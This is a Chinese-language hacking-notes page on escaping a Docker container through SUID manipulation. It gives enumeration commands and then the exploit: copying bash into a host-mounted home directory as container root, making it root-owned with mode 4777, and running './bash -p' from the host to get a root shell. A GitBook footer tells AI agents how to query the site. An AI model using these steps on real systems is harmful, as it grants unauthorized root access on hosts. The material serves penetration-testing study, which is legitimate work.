> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md).

# Docker SUID 权限操控 - Linux 提权

## 这是什么

Docker 逃逸路径会利用容器配置错误、挂载的主机资源、默认凭证、重复使用的密码或过高的容器权限。目标是从容器上下文转到主机级访问。此特定页面重点介绍 **Docker 逃逸（SUID 权限操纵）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
id
cat /proc/1/cgroup
挂载
ls -la /var/run/docker.sock 2>/dev/null
```

## 示例

## Docker 中的 Bash SUID

由于在 Docker 容器中我们是 root，我们将把 bash 二进制文件从机器的普通主机复制到主目录中 `augustus`:

```
cp /bin/bash .
```

<figure><img src="/files/654f8ce465fe76e343a2365f27155dec610e8368" alt="" width="556"><figcaption></figcaption></figure>

在 Docker 的根目录下，我们将为这个 bash 文件授予 root 组权限，并设置 SUID 权限以 root 身份运行：

```bash
chown root:root bash
chmod 4777 bash
```

我们返回到 SSH 并看到：

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="/files/34dfc231c58eaab141a2abb0c201104856ecf174" alt=""><figcaption></figcaption></figure>

`./bash -p`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
